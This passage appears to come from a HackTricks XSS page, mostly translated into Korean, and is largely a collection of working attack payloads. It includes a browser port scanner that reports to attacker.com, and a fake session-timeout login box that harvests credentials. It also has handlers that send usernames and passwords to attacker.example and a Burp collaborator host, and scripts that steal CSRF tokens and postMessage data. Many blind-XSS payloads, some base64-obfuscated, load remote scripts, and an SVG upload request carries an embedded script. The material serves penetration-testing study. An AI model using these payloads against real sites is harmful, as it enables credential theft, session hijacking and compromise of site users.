const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
짧은 시간은 응답하는 포트를 나타냅니다 긴 시간은 응답하지 않음을 나타냅니다.
Chrome에서 차단된 포트 목록은 here에서, Firefox에서의 목록은 here에서 확인하세요.
자격 증명 요청 박스
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
자동 완성 비밀번호 캡처
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
비밀번호 필드에 어떤 데이터라도 입력되면 사용자 이름과 비밀번호가 공격자 서버로 전송됩니다. 클라이언트가 저장된 비밀번호를 선택해 아무것도 입력하지 않아도 자격 증명은 유출됩니다.
If a critical handler (e.g., function DoLogin(){...}
) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a const
with the same name first to preempt and lock the handler. Later function declarations cannot rebind a const
name, leaving your hook in control:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notes
- 이는 실행 순서에 의존합니다: 인젝션은 정식 선언보다 먼저 실행되어야 합니다.
- 페이로드가
eval(...)
로 감싸여 있으면const/let
바인딩은 전역이 되지 않습니다. 진짜 전역이자 재바인딩 불가능한 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”에 있는 동적<script>
인젝션 기법을 사용하세요. - 키워드 필터가 코드를 차단할 때는 위에서 본 것처럼 유니코드 이스케이프 식별자 또는
eval(atob('...'))
전달 방식과 결합하세요.
Keylogger
Just searching in github I found a few different ones:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- 또한 metasploit의
http_javascript_keylogger
를 사용할 수 있습니다
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage 메시지 탈취
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Service Workers 악용
Shadow DOM 접근
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
또한 다음을 사용할 수 있습니다: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 숨겨진 콘텐츠 접근
this writeup에서 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 찾을 수 있다는 것을 알 수 있습니다. 예를 들어, REGEX의 input은 해당 REGEX의 input 값이 제거된 후에도 여전히 찾을 수 있습니다:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS를 이용한 다른 취약점 악용
Markdown에서의 XSS
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS가 발생할 수 있습니다! 확인:
XSS를 SSRF로
캐싱을 사용하는 사이트에서 XSS를 발견했나요? Edge Side Include Injection을 통해 그것을 SSRF로 업그레이드해 보세요. payload는 다음과 같습니다:
<esi:include src="http://yoursite.com/capture" />
이를 사용해 cookie 제약, XSS 필터 등을 우회하고 그 이상을 할 수 있습니다!
More information about this technique here: XSLT.
동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력으로 PDF를 생성하는 경우, PDF를 생성하는 bot을 속여 임의의 JS 코드를 실행하게 만들 수 있습니다.
따라서 PDF creator bot이 어떤 종류의 HTML 태그를 발견하면 이를 해석하게 되고, 이 동작을 악용해 Server XSS를 발생시킬 수 있습니다.
HTML 태그를 주입할 수 없다면 inject PDF data를 시도해볼 가치가 있습니다:
Amp4Email에서의 XSS
AMP는 모바일 기기에서 웹 페이지 성능을 가속화하는 것을 목표로 하며, 속도와 보안을 강조하면서 JavaScript로 보완된 HTML 태그를 포함합니다. 다양한 기능을 제공하는 여러 컴포넌트를 지원하며, AMP components에서 확인할 수 있습니다.
The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
예시 writeup XSS in Amp4Email in Gmail.
XSS 파일 업로드 (svg)
다음과 같은 파일을 이미지로 업로드하세요 (출처: http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
더 많은 SVG payloads는 https://github.com/allanlw/svg-cheatsheet에서 확인하세요
기타 JS 트릭 & 관련 정보
Misc JS Tricks & Relevant Info
XSS 리소스
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
참고자료
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.